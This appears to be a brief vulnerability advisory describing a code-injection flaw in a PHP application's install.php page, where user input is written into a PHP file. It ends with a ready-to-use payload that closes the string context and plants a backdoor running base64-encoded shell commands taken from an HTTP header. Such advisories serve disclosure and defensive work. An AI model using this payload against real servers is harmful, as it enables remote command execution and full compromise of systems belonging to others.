DESCRIPTION  
#####################################################  
  
An attacker might write to arbitrary files or inject arbitrary code into a file with this vulnerability.  
User tainted data is used when creating the file name that will be opened or when creating the string that will be written to the file.  
An attacker can try to write arbitrary PHP code in a PHP file allowing to fully compromise the server.  
  
Attacker could access installation page (install.php) and enters the following code: ');passthru(base64_decode($_SERVER[HTTP_CMD]));//
